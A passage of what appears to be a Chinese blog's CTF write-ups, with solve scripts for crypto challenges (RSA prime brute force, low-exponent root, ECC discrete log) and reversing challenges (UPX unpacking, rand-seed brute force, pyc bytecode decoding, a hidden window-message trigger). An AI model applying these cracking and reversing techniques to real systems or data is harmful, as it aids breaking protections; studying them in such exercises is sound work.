#39;,\u0026#39;WOu3W5O3W5y\u0026#39;,\u0026#39;BNNdQfTl\u0026#39;,\u0026#39;g0ZcL8oSlCo5W4mbmW\u0026#39;,\u0026#39;i8oOWQGfW40\u0026#39;,\u0026#39;WQVdVY7cUCk4AmkasJRcMq\u0026#39;,\u0026#39;WP/dSx0/bSoF\u0026#39;,\u0026#39;oY8sW4RdHa\u0026#39;,\u0026#39;lCkOn0a8\u0026#39;,\u0026#39;lSkUWRRcMmkG\u0026#39;,\u0026#39;WPtdVf0dbG\u0026#39;,\u0026#39;W5hcJINcHCoL\u0026#39;,\u0026#39;EqCvoSonWPNcMd/dPtS\u0026#39;,\u0026#39;W7KrW4RcNH8\u0026#39;,\u0026#39;WQzcsmotFG\u0026#39;,\u0026#39;W5LfW6ayWO4\u0026#39;,\u0026#39;o8kSeGPx\u0026#39;,\u0026#39;WQ3cKmkHWR8\u0026#39;,\u0026#39;W6eiWRZcHCk2\u0026#39;,\u0026#39;kCkIW5LgqmoX\u0026#39;,\u0026#39;W5ZcRmkHWP3cK8ovpb0\u0026#39;,\u0026#39;AuFcQSk0zSkvWO4\u0026#39;,\u0026#39;W5DgWQT2WQRdVmkXW5tcNtLz\u0026#39;,\u0026#39;WQ8rW5OUW54\u0026#39;,\u0026#39;WP4EmczKWPNcRf1hW5K\u0026#39;,\u0026#39;kCkHW6xdTCoDi2T7\u0026#39;,\u0026#39;FrOqgCoG\u0026#39;,\u0026#39;whT1WO3dGq\u0026#39;,\u0026#39;hSkdWQxcOCk1\u0026#39;,\u0026#39;W7tcK2niWRq\u0026#39;,\u0026#39;W659omkiWPW\u0026#39;,\u0026#39;W4lcIslcN8oJ\u0026#39;,\u0026#39;amkpeJrB\u0026#39;,\u0026#39;k8ktWOJcLmkQ\u0026#39;,\u0026#39;pmkJW7pdRSoB\u0026#39;,\u0026#39;mMO+W4qY\u0026#39;,\u0026#39;vSkPW7NcTvnanYBdVmoz\u0026#39;,\u0026#39;W7vsd8k3WQO\u0026#39;,\u0026#39;uCoTdmk7WRa\u0026#39;,\u0026#39;WQhdK8o+W4LO\u0026#39;,\u0026#39;WP1cv8oXAW\u0026#39;,\u0026#39;BIy8gSoX\u0026#39;,\u0026#39;imonWP4hW4JdPW\u0026#39;,\u0026#39;W6hcQgDxWPC\u0026#39;];_0x271a=function(){return _0x51c506;};return _0x271a();} 显然是被混淆了。试了几个反混淆工具,最终选择了这个 JS Deobfuscator\n然后 flag 就被明文显示了\n这是初代 flag,后来第二遍上的题目用的解决方法和这个一模一样。最开始这道题难度是 hard,重新上来就成了 easy。\nreal check in xor 略(真没啥好写的)\nCrypto fake_n 已知的 fake_n 由 17 个质数相乘得到,未知的 really_n 由其中的 15 个质数相乘得到。really_n 共有 $C_{17}^{15}$ 种可能。不妨爆破:\n1import gmpy2 2from Crypto.Util.number import * 3 4c = 6451324417011540096371899193595274967584961629958072589442231753539333785715373417620914700292158431998640787575661170945478654203892533418902 5primelst = [2215221821, 2290486867, 2333428577, 2361589081, 2446301969, 2507934301, 2590663067, 3107210929, 3278987191, 3389689241, 3417707929, 3429664037, 3716624207, 3859354699, 3965529989, 4098704749, 4267348123] 6 7for i in range(1, 17): 8\tfor j in range(i): 9\ttmplst = [2215221821, 2290486867, 2333428577, 2361589081, 2446301969, 2507934301, 2590663067, 3107210929, 3278987191, 3389689241, 3417707929, 3429664037, 3716624207, 3859354699, 3965529989, 4098704749, 4267348123] 10\tn = 1 11\tphi = 1 12\tdel tmplst[i] 13\tdel tmplst[j] 14\tn = 1 15\tphi = 1 16\tfor k in tmplst: 17\tn *= k 18\tphi *= k - 1 19\te = 65537 20\td = gmpy2.invert(e, phi) 21\tm = pow(c, d, n) 22\tprint(long_to_bytes(m), end = \u0026#39;\\n\\n\u0026#39;) 我玩青水的 后来知道,下面这个方法叫低指数加密攻击:\n1from Crypto.Util.number import * 2import gmpy2 3 4p = 7709388356791362098686964537734555579863438117190798798028727762878684782880904322549856912344789781854618283939002621383390230228555920884200579836394161 5c = 5573755468949553624452023926839820294500672937008992680281196534187840615851844091682946567434189657243627735469507175898662317628420037437385814152733456 6e = 2 7 8jud = 1 9k = 1 10while jud: 11\ty = c + k * p 12\tm, exact = gmpy2.iroot(y, 2) 13\tif exact: 14\tprint(long_to_bytes(m)) 15\tprint(k) 16\tjud = 0 17\tk += 1 OEIS2 改编自强网杯“OEIS”,那一个可以查表。\n题目要计算 $(2^{28} + 5)!$ 各位和的 SHA256,NR289 师傅建议我使用 Sagemath 硬算:\n1import hashlib 2upper = str(gamma(2**28 + 6)) 3res = 0 4for i in upper: 5 res += int(i) 6print(hashlib.sha256(str(res).encode()).hexdigest()) 吃顿饭的工夫就出了。\nhard_ecc 浅看了一点 ECC,这道题已知的量有:圆锥曲线 ec、公钥 Q、基点 T,要求的是私钥。\n1A = [0, 3, 0, 973467756888603754244984534697613606855346504624, 864199516181393560796053875706729531134503137794] 2p = 992366950031561379255380016673152446250935173367 3t = [295622334572794306408950267006569138184895225554, 739097242015870070426694048559637981600496920065, 1] 4q = [282367703408904350779510132139045982196580800466, 411950462764902930006129702137150443195710071159, 1] 5flag_bytes = b\u0026#39;\u0026#39; 6 7ec = EllipticCurve(GF(p), [A[0], A[1], A[2], A[3], A[4]]) 8 9T = ec((t[0], t[1], t[2])) 10Q = ec((q[0], q[1], q[2])) 11 12secret = discrete_log(Q, T, operation= \u0026#39;+\u0026#39;) 13 14flag_bytes = int(secret).to_bytes((secret.bit_length() + 7) // 8, \u0026#39;little\u0026#39;) 15flag = flag_bytes.decode(\u0026#39;utf-8\u0026#39;) 16 17print(flag) Forensics 学取证咯 系列 做出来的前面五道分别使用 cmdscan iehistory mimikatz filescan 可以直接出\n逆向工程(reverse)入门指南 Linux 里使用 pdftotxt,然后可以找到 flag。\nbeginner_Forensics!!!! 用 010 打开,看到是一个 Batch Encryption 混淆,我使用 https://blog.csdn.net/Hunter98234/article/details/108672926 中提供的脚本还原。\n这两天不大舒服,其他题目的复现后边再发 ","link":"https://jackgdn.github.io/post/beginctf-%E8%A7%A3%E9%A2%98%E8%AE%B0%E5%BD%95/","section":"post","tags":["WP","MISC","Web","Reverse","Crypto","Forensics"],"title":"BeginCTF 解题记录"},{"body":"","link":"https://jackgdn.github.io/tags/web/","section":"tags","tags":null,"title":"Web"},{"body":"春秋杯 - upx2023 程序放进 Exeinfo,其实听名字就知道有壳,但是这个壳改过。\n010 Editor 里看一眼,这个壳改得挺没品的,upx 段标识改回大写后,顺利脱壳。\n进入 IDA 分析:\n1int __fastcall main(int argc, const char **argv, const char **envp) 2{ 3 std::ostream *v3; // rax 4 char *v4; // rax 5 int v6[44]; // [rsp+20h] [rbp-60h] BYREF 6 char v7[16]; // [rsp+D0h] [rbp+50h] BYREF 7 char v8[16]; // [rsp+E0h] [rbp+60h] BYREF 8 char v9[20]; // [rsp+F0h] [rbp+70h] BYREF 9 int v10; // [rsp+104h] [rbp+84h] 10 unsigned int Seed; // [rsp+108h] [rbp+88h] 11 int i; // [rsp+10Ch] [rbp+8Ch] 12 13 _main(); 14 Seed = time(0i64); 15 srand(Seed); 16 std::string::string(v7); 17 std::operator\u0026lt;\u0026lt;\u0026lt;std::char_traits\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;std::cout, Str); 18 std::operator\u0026gt;\u0026gt;\u0026lt;char\u0026gt;(\u0026amp;std::cin, v7); 19 std::string::string(v9, v7); 20 change(v8, v9); 21 std::string::operator=(v7, v8); 22 std::string::~string(v8); 23 std::string::~string(v9); 24 if ( std::string::length(v7) != 42 ) 25 { 26 v3 = std::operator\u0026lt;\u0026lt;\u0026lt;std::char_traits\u0026lt;char\u0026gt;\u0026gt;(\u0026amp;std::cout, \u0026#34;len error\u0026#34;); 27 std::endl\u0026lt;char,std::char_traits\u0026lt;char\u0026gt;\u0026gt;(v3); 28 exit(0); 29 } 30 qmemcpy(v6, \u0026amp;unk_46A020, 0xA8ui64); 31 for ( i = 0; i \u0026lt;= 41; ++i ) 32 { 33 v10 = rand() % 255; 34 v4 = std::string::operator[](v7, i); 35 if ( (v10 ^ *v4) != v6[i] ) 36 exit(0); 37 } 38 std::string::~string(v7); 39 return 0; 40} 其中 change() 函数如下:\n1std::string *__fastcall change(std::string *a1, std::string *a2) 2{ 3 __int64 v2; // rdi 4 void *v3; // rsp 5 _BYTE *v4; // rax 6 _BYTE v6[32]; // [rsp+0h] [rbp-80h] BYREF 7 __int64 v7[7]; // [rsp+20h] [rbp-60h] BYREF 8 char v8; // [rsp+5Fh] [rbp-21h] BYREF 9 __int64 *v9; // [rsp+60h] [rbp-20h] 10 __int64 v10; // [rsp+68h] [rbp-18h] 11 __int64 v11; // [rsp+70h] [rbp-10h] 12 int v12; // [rsp+7Ch] [rbp-4h] 13 int v13; // [rsp+80h] [rbp+0h] 14 int n; // [rsp+84h] [rbp+4h] 15 int m; // [rsp+88h] [rbp+8h] 16 int k; // [rsp+8Ch] [rbp+Ch] 17 char v17; // [rsp+93h] [rbp+13h] 18 int v18; // [rsp+94h] [rbp+14h] 19 int j; // [rsp+98h] [rbp+18h] 20 int i; // [rsp+9Ch] [rbp+1Ch] 21 22 v7[5] = v6; 23 v13 = 3; 24 std::allocator\u0026lt;char\u0026gt;::allocator(\u0026amp;v6[95]); 25 std::string::string(a1, \u0026amp;unk_47F000, \u0026amp;v8); 26 std::allocator\u0026lt;char\u0026gt;::~allocator(\u0026amp;v8); 27 v12 = std::string::length(a2); 28 v11 = v12 - 1i64; 29 v7[1] = 0i64; 30 v2 = v12; 31 v10 = v13 - 1i64; 32 v7[0] = v11; 33 v7[2] = v12; 34 v7[3] = 0i64; 35 v3 = alloca(16 * ((v12 * v13 + 15) \u0026gt;\u0026gt; 4)); 36 v9 = v7; 37 for ( i = 0; i \u0026lt; v13; ++i ) 38 { 39 for ( j = 0; j \u0026lt; v12; ++j ) 40 *(v9 + j + v2 * i) = 10; 41 } 42 v18 = 0; 43 v17 = 0; 44 for ( k = 0; k \u0026lt; v12; ++k ) 45 { 46 if ( !v18 || v13 - 1 == v18 ) 47 v17 ^= 1u; 48 v4 = std::string::operator[](a2, k); 49 *(v9 + k + v2 * v18) = *v4; 50 if ( v17 ) 51 ++v18; 52 else 53 --v18; 54 } 55 for ( m = 0; m \u0026lt; v13; ++m ) 56 { 57 for ( n = 0; n \u0026lt; v12; ++n ) 58 { 59 if ( *(v9 + n + v2 * m) != 10 ) 60 std::string::operator+=(a1); 61 } 62 } 63 return a1; 64} 打眼一看,这个函数除了该顺序之外没干别的事,遂打断点动调找调整过的顺序顺序。输入 \u0026quot;flag{1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ}\u0026quot;,得到如下顺序:\n1\u0026gt;\u0026gt;\u0026gt; [\u0026#39;flag{1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ}\u0026#39;.index(i) for i in \u0026#39;f{48BFJNRVZlg13579ACEGIKMOQSUWY}a260DHLPTX\u0026#39;] 2[0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 2, 6, 10, 14, 18, 22, 26, 30, 34, 38] 随后处理 rand() % 255,我试图爆破,但是误将调整后的 rand() 顺序当作调整前的 rand() 顺序而没能成功得到 Seed。赛后我修改了顺序得到 Seed,可以说是最遗憾的一集了。\n程序编译好的时间对应的时间戳是 1685762995,因此 Seed 一定在这之前出现。flag 的前几个字符 “flag{” 已知,可以计算出随机数序列中第 0、11、32、12、1 的值分别为 0x6F、0xAA、0x9B、0x2、0x18。用下面的脚本爆破:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstdlib\u0026gt; 3#include \u0026lt;ctime\u0026gt; 4 5using namespace std; 6 7int main() 8{ 9 int num[32] = {0}; 10 for(unsigned int seed = 1662973302; seed \u0026lt; 1685762995; seed++) 11 { 12 for(int i = 0; i \u0026lt;= 32; i++) 13 { 14 num[i] = rand() % 255; 15 } 16 if(num[0] == 0x6F \u0026amp;\u0026amp; num[1] == 0x18 \u0026amp;\u0026amp; num[11] == 0xAA \u0026amp;\u0026amp; num[12] == 0x2 \u0026amp;\u0026amp; num[32] == 0x9B) 17 { 18 cout \u0026lt;\u0026lt; seed \u0026lt;\u0026lt; endl; 19 } 20 } 21} 22 23// output: 1682145110 得到了种子就可以写解密脚本了:\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstdio\u0026gt; 3#include \u0026lt;cstdlib\u0026gt; 4 5using namespace std; 6 7int main() 8{ 9 int seq[42] = {0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 2, 6, 10, 14, 18, 22, 26, 30, 34, 38}; 10 int cip[42] = 11 { 12 0x09, 0x63, 0xD9, 13 0xF6, 0x58, 0xDD, 0x3F, 0x4C, 14 0x0F, 0x0B, 0x98, 0xC6, 0x65, 15 0x21, 0x41, 0xED, 0xC4, 0x0B, 16 0x3A, 0x7B, 0xE5, 0x75, 0x5D, 17 0xA9, 0x31, 0x41, 0xD7, 0x52, 18 0x6C, 0x0A, 0xFA, 0xFD, 0xFA, 19 0x84, 0xDB, 0x89, 0xCD, 0x7E, 20 0x27, 0x85, 0x13, 0x08 21 }; 22 int seed = 1682145110; 23 srand(seed); 24 int flag[42] = {0}; 25 26 for(int i = 0;i \u0026lt; 42; i++) 27 { 28 flag[i] = (rand() % 255) ^ cip[i]; 29 } 30 for(int j = 0;j \u0026lt; 42; j++) 31 { 32 cout \u0026lt;\u0026lt; flag[seq[j]]; 33 } 34} flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}\n攻防世界 - handcrafted-pyc 我在第七周的解题记录里完成了这道题目的一部分,但是并没有完全解出来,今天填坑。\n题目附件是 .py 的源代码:\n1#!/usr/bin/env python 2# -*- coding: utf-8 -*- 3 4import marshal, zlib, base64 5 6exec(marshal.loads(zlib.decompress(base64.b64decode(\u0026#39;eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==\u0026#39;)))) 代码阅读上并没有什么难度,首先把一个字符串 Base64 解码,然后 zlib 解压缩,再然后得到反序列化,最后反序列化成 Python 代码并执行。\n看上去肯简单对吧,但是运行一下,果然报错:\n1ValueError: bad marshal data (unknown type code) 看来是反序列化那一步出了问题。我们不妨先拿到解压后的 .pyc 字节码再进行下一步分析。如下图,我们得到的 .pyc 文件缺少 magic number。\n我尝试了几个不同版本 Python 的 magic number,但都会提示反编译失败。不过,尽管没有得到源代码,在使用 uncompyle6 时仍然得到了一段 Bytecode。第七周那一次周报里,我把完整的 Bytecode 贴上了。下面贴一小段简单分析一下:\n1 L. 1 0 LOAD_GLOBAL 0 \u0026#39;chr\u0026#39; 2 3 LOAD_CONST 108 3 6 CALL_FUNCTION_1 1 None 4 9 LOAD_GLOBAL 0 \u0026#39;chr\u0026#39; 5 12 LOAD_CONST 108 6 15 CALL_FUNCTION_1 1 None 7 18 LOAD_GLOBAL 0 \u0026#39;chr\u0026#39; 8 21 LOAD_CONST 97 9 24 CALL_FUNCTION_1 1 None 10 27 LOAD_GLOBAL 0 \u0026#39;chr\u0026#39; 11 30 LOAD_CONST 67 12 33 CALL_FUNCTION_1 1 None 13 36 ROT_TWO 14 37 BINARY_ADD 15 38 ROT_TWO 16 39 BINARY_ADD 17 40 ROT_TWO 18 41 BINARY_ADD 程序依次将 chr(108)、chr(108)、chr(97)、chr(67) 入栈,随后 ROT_TWO 将栈顶的两个字符交换顺序,BINARY_ADD 将栈顶的两个元素相加(字符与字符相加得到一个字符串)。这一段字节码执行结束后可以在栈顶得到 'Call' 这个单词。\n后面的字节码和这一段类似,都是将数个字符入栈并且倒序输出。可以用以下脚本把全部字符提取并且输出(可以说是一个小小虚拟机):\n1import re 2 3string = \u0026#39;\u0026#39; 4 5find = True 6buffer = \u0026#39;\u0026#39; 7 8with open(r\u0026#39;C:\\Users\\jack_gdn\\Desktop\\temp files\\攻防世界 - handcrafted-pyc\\download.txt\u0026#39;, \u0026#39;r\u0026#39;) as file: 9 for line in file: 10 load_const = re.search(r\u0026#39;LOAD_CONST\\s{15}(\\d+)\u0026#39;, line) 11 rot_two = re.search(r\u0026#39;ROT_TWO\u0026#39;, line) 12 if load_const: 13 buffer = buffer + chr(int(load_const.group(1))) 14 find = True 15 if rot_two and find: 16 print(buffer[::-1], end = \u0026#39;\u0026#39;) 17 find = False 18 buffer = \u0026#39;\u0026#39; 19 20# output: Call me a Python virtual machine! I can interpret Python bytecodes!!!hitcon{Now you can compile and run Python bytecode in your brain!}password: Wrong password... Please try again. Do not brute force. =) hitcon{Now you can compile and run Python bytecode in your brain!}\nNSSCTF - can_can_need_pxory 近期最让我绷不住的一道题\n题目附件有一个文本文件和一个程序。文本文件如下:\n经过唯一性处理后,print结果如下:\nNDc1NTMyNTQ0NzRGNDI1OTQ2NTEzMjU0NDc0RDVBNTU0NzQxNTc0NDQzNEQ0QTUzNDczNDVBNTQ0NTRDNDI1MzQ3NEQ1OTU0NEQ0QzQyNTI0NzQ1MzM1NDUxNEU0QTUzNDY1MTMyNDQ1MzRENTI1NTQ3NTE1NzQ0NEI0RDRBNTM0ODQ1NUE0MzU5NEQ1MjU0NDczNDM0NDM1OTRFNDI1NzQ3NDUzMzU0NDU0QzQyNTI0NzQxMzM1NDRENEQ0QTUzNDY1MTU5NTQ0MzRGNDI1OTQ3MzQzMzQzNTk0RDUyNTQ0NzQ5MzM0MzU5NEQ0QTUyNDczNDM0NDQ0QjRENTI0RDQ3NTEzMzQ0NDM0RTVBNTM0NjUxNTk1NDQ1NEQ0MjVBNDc0OTMyNDM1OTRENTI1NDQ3NEQ1OTQzNTk0RDRBNTI0NzU5MzQ0NDQ1NEY0MjRENDc0NTVBNDQ0NzRGNEE1QTQ3NTk1NzQ0NDk0RTUyNTI0NzM0NUE0MzU5NEQ1MjU0NDc0OTM0NTM1OTRENEE1MjQ4NDUzNDU0NDE0RDQyNEQ0NzQ1NTk1NDQ1NEU1QTU0NDc0OTU3NDQ0MzRENEE1MzQ3MzQ1QTU0NDU0QzQyNTM0NzREMzQ0NDRENEM0MjUyNDc0OTVBNTQ1MzRGNEE1NzQ2NTEzMjU0NDE0RDUyNTc0ODQxNTc0NDRCNEY0MjU1NDc1OTU5NDM1OTRENTI1NDQ3NDUzNDUzNTk0RDRBNTM0NzREMzQ1NDUzNEU1MjRENDc0NTU5NDQ0MzRFNDI1NzQ4NDE1NzQ0NDM0RDUyNTQ0ODQ1MzQ1NDRENEM0MjUzNDc0RDU5NTQ1MzRDNDI1NTQ4NDU1QTQ0NDk0RTQyNEQ0NzU1MzM1NDQ5NEQ1QTU3NDY1MTMyNTQ0RDRFNDI1MjQ3NDk1NzQ0NDU0RDVBNTQ0NzQ1NTc0MTNEM0QzRDNE\n请将解出的flag用NSSCTF{}包裹一下喵\n运行程序,会输出这么一坨东西:\n这个程序使用 Pyinstaller 打包,逆向得到源代码:\n1print(\u0026#39;ccccccccccccccccccccccccccccccccccc!\u0026#39;) 2print(\u0026#39;D0 U know C?\u0026#39;) 3print(\u0026#39;\\n#include \u0026lt;NSSCTF.h\u0026gt;\\nv01d bnssst(int FTC[], int lenggggggg) {\\n int i, j, SSN;\\n\u0026#39;) 4print(\u0026#39;This is CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\u0026#39;) 5print(\u0026#39;6L+Z5piv5L2g6KaB55qEZmxhZ+WQl++8nwpOU1NDVEZ7YjVlMzlkMDktODg3Yy1hZGI0LTE4OWMtMWI0OGEwNWJmOTY2fQ==\u0026#39;) 6A = { 7 \u0026#39;flag\u0026#39;: \u0026#39;NSSCTF{a81c0d5e-ec6d-2b80\u0026#39; } 8print(\u0026#39;\\n SSN = FTC[j];\\n printf(\u0026#34;flag\u0026#34;);\\n }\\n}\\nint mian() {\\n int FTC[] = [ -,\\n\u0026#39;) 9print(\u0026#39;ccccccccccccccccccc\u0026#39;) 10print(\u0026#39;\\nb, 2, 6, 7, -, d, 5, 8, 4, -, 6, 8, 7, 4, -, f, 1, 2, 6, e, 3, a, 5, 1, 0, 6, 1, }];\\n int lenggggggg = (int) sizeof(FTC) / sizeof(*FTC);\\n bnsScrt(FTC, lenggggggg);\\n int i;\\n for (i = 0; i \u0026lt; lenggggggg; i++)\\n printf(\u0026#34;%d \u0026#34;, FTC[i]);\\n remake 0;\\n}\\n\u0026#39;) 11print(\u0026#39;----------------------------------------------------\u0026#39;) 12import base64 13flag = \u0026#39;************************************\u0026#39; 14r = \u0026#39;\u0026#39; 15for x in range(len(flag)): 16 if (x + 1) % 4 == 0: 17 res = str(ord(chr(ord(flag[x]) ^ 2421))) 18 else: 19 res = str(ord(chr(ord(flag[x]) \u0026lt;\u0026lt; 6 \u0026lt;\u0026lt; 7 \u0026gt;\u0026gt; 2 \u0026gt;\u0026gt; 1 ^ 92))) 20 r = r + res + \u0026#39;,\u0026#39; 21 22print(base64.b64encode(base64.b16encode(base64.b32encode(r.encode(\u0026#39;utf-8\u0026#39;)))).decode(\u0026#39;utf-8\u0026#39;)) 写出逆向脚本:\n1import base64 2 3c = \u0026#39;NDc1NTMyNTQ0NzRGNDI1OTQ2NTEzMjU0NDc0RDVBNTU0NzQxNTc0NDQzNEQ0QTUzNDczNDVBNTQ0NTRDNDI1MzQ3NEQ1OTU0NEQ0QzQyNTI0NzQ1MzM1NDUxNEU0QTUzNDY1MTMyNDQ1MzRENTI1NTQ3NTE1NzQ0NEI0RDRBNTM0ODQ1NUE0MzU5NEQ1MjU0NDczNDM0NDM1OTRFNDI1NzQ3NDUzMzU0NDU0QzQyNTI0NzQxMzM1NDRENEQ0QTUzNDY1MTU5NTQ0MzRGNDI1OTQ3MzQzMzQzNTk0RDUyNTQ0NzQ5MzM0MzU5NEQ0QTUyNDczNDM0NDQ0QjRENTI0RDQ3NTEzMzQ0NDM0RTVBNTM0NjUxNTk1NDQ1NEQ0MjVBNDc0OTMyNDM1OTRENTI1NDQ3NEQ1OTQzNTk0RDRBNTI0NzU5MzQ0NDQ1NEY0MjRENDc0NTVBNDQ0NzRGNEE1QTQ3NTk1NzQ0NDk0RTUyNTI0NzM0NUE0MzU5NEQ1MjU0NDc0OTM0NTM1OTRENEE1MjQ4NDUzNDU0NDE0RDQyNEQ0NzQ1NTk1NDQ1NEU1QTU0NDc0OTU3NDQ0MzRENEE1MzQ3MzQ1QTU0NDU0QzQyNTM0NzREMzQ0NDRENEM0MjUyNDc0OTVBNTQ1MzRGNEE1NzQ2NTEzMjU0NDE0RDUyNTc0ODQxNTc0NDRCNEY0MjU1NDc1OTU5NDM1OTRENTI1NDQ3NDUzNDUzNTk0RDRBNTM0NzREMzQ1NDUzNEU1MjRENDc0NTU5NDQ0MzRFNDI1NzQ4NDE1NzQ0NDM0RDUyNTQ0ODQ1MzQ1NDRENEM0MjUzNDc0RDU5NTQ1MzRDNDI1NTQ4NDU1QTQ0NDk0RTQyNEQ0NzU1MzM1NDQ5NEQ1QTU3NDY1MTMyNTQ0RDRFNDI1MjQ3NDk1NzQ0NDU0RDVBNTQ0NzQ1NTc0MTNEM0QzRDNE\u0026#39; 4 5raw = base64.b32decode(base64.b16decode(base64.b64decode(c.encode(\u0026#39;utf-8\u0026#39;)))).decode(\u0026#39;utf-8\u0026#39;) 6 7flag = raw[:-1].split(\u0026#39;,\u0026#39;) 8 9for x in range(len(flag)): 10 if (x + 1) % 4 == 0: 11 print(chr(int(flag[x]) ^ 2421), end = \u0026#39;\u0026#39;) 12 else: 13 print(chr((int(flag[x]) ^ 92) \u0026lt;\u0026lt; 1 \u0026lt;\u0026lt; 2 \u0026gt;\u0026gt; 7 \u0026gt;\u0026gt; 6), end = \u0026#39;\u0026#39;) 14 15# output: 64nys02?-itcs-vory-lunn\u0026#39;y19zycyz087n 我的进度到这里就结束了,后来看 WP,要想得到正确的 flag 还有下面这一步\n1\u0026gt;\u0026gt;\u0026gt; \u0026#34;\u0026#34;.join([chr(ord(\u0026#39;64nys02?-itcs-vory-lunn\\\u0026#39;y19zycyz087n\u0026#39;[i]) ^ 0xA) if (i + 1) % 4 == 0 else \u0026#39;64nys02?-itcs-vory-lunn\\\u0026#39;y19zycyz087n\u0026#39;[i] for i in range(len(\u0026#39;64nys02?-itcs-vory-lunn\\\u0026#39;y19zycyz087n\u0026#39;))]) 2\u0026#39;64nss025-itis-very-funn-y19pycyp087d\u0026#39; 最遗憾的一集,比春秋杯爆破 Seed 还遗憾\n攻防世界 - mfc逆向 程序加了 VMP 壳。\n试图手撕,未果;试图使用工具脱壳,未果。遂不脱壳。\n程序提示 \u0026quot;Flag就在控件里\u0026quot;,以及窗口中间使用了文本框控件。使用 Spy++ 查看窗体句柄。\n得到句柄 0xC208A。随后使用 xspy 分析窗口。\n可以看到有一个自定义消息 0x0464 会触发地址为 002170 的函数。wparam 和 lparam 不详就随便写一个试试。使用以下脚本尝试发送这个消息:\n1#include \u0026lt;Windows.h\u0026gt; 2 3int main() 4{ 5\tHWND flag = HWND(0xC208A); 6\tSendMessage(flag, 0x464, 114514, 1919810); 7} 发现窗口发生变化。\n似乎有什么 DES 加密的地方,但是往后我就没辙了。看 WP 知道,\u0026quot;{I am a Des key}\u0026quot; 是 DES 加密的密钥,密文是这个窗口的类 \u0026quot;944c8d100f82f0c18b682f63e4dbaa207a2f1e72581c2f1b\u0026quot;,最终得到 flag\nthIs_Is_real_kEy_hahaaa\n但是我在尝试 DES 解密这一步里失败了,因为 DES 要求密钥为 8 字节,但是题目所给字符串有 16 字节,3DES 对偏移量有要求但是题目中并未给出。\n西湖论剑 - easy_table 编程题,比赛结束前一个半小时开始看这道题,比赛结束后四个小时拿到 flag(当然中间还干别的事去了)而且应该是正确的,至少使用样例数据运行的结果是正确的。这个过程学到了相当多的东西,包括从头开始学了 pandas 模块、学习了 re 模块以及 Python 里其他巧妙的但我以前不知道的模块、函数和语法。由于一开始没有完全读懂题,并且我是第一次使用 pandas 模块,这个脚本有相当多可以优化的地方。题目给出待处理的数据总共有 10000 组,我的电脑运行下面的脚本需要亖分多钟:\n1import pandas as pd 2import re 3from datetime import datetime 4import hashlib 5 6 7def hash_calc(string): 8 md5_hash = hashlib.md5() 9 md5_hash.update(string.encode(\u0026#39;utf-8\u0026#39;)) 10 return md5_hash.hexdigest() 11 12 13def check_time(time_range, time_point): 14 start, end = map(lambda x: datetime.strptime(x, \u0026#39;%H:%M:%S\u0026#39;), time_range.split(\u0026#39;~\u0026#39;)) 15 point = datetime.strptime(time_point, \u0026#39;%H:%M:%S\u0026#39;) 16 return int(start \u0026lt;= point \u0026lt;= end) 17 18 19def user_not_exist(user_id): 20 if user_id in users[\u0026#39;账号\u0026#39;].values: 21 return 0 22 else: 23 return 1 24 25 26def wrong_table(table_action, user_id): 27 pattern = r\u0026#34;(from|update|insert into)\\s+(\\w+)\\s\u0026#34; 28 matches = re.findall(pattern, table_action) 29 table = matches[0][1] # 查找表名 30 31 for index_tables, row_tables in tables.iterrows(): 32 if row_tables[\u0026#39;表名\u0026#39;] == table: 33 table_id = row_tables[\u0026#39;编号\u0026#39;] # 查找表编号 34 35 for index_users, row_users in users.iterrows(): 36 if row_users[\u0026#39;账号\u0026#39;] == user_id: 37 group_id = row_users[\u0026#39;所属权限组编号\u0026#39;] # 查找组编号 38 uid = row_users[\u0026#39;编号\u0026#39;] # 查找用户编号 39 40 for index_permissions, row_permissions in permissions.iterrows(): 41 if row_permissions[\u0026#39;编号\u0026#39;] == group_id: 42 operable_tables = row_permissions[\u0026#39;可操作表编号\u0026#39;].split(\u0026#39;,\u0026#39;) # 查找可操作表编号 43 44 if str(table_id) not in operable_tables: 45 return [1, uid, group_id, table_id] 46 else: 47 return [0] 48 49 50def wrong_operation(table_action, user_id): 51 op_lst = [\u0026#39;insert\u0026#39;, \u0026#39;delete\u0026#39;, 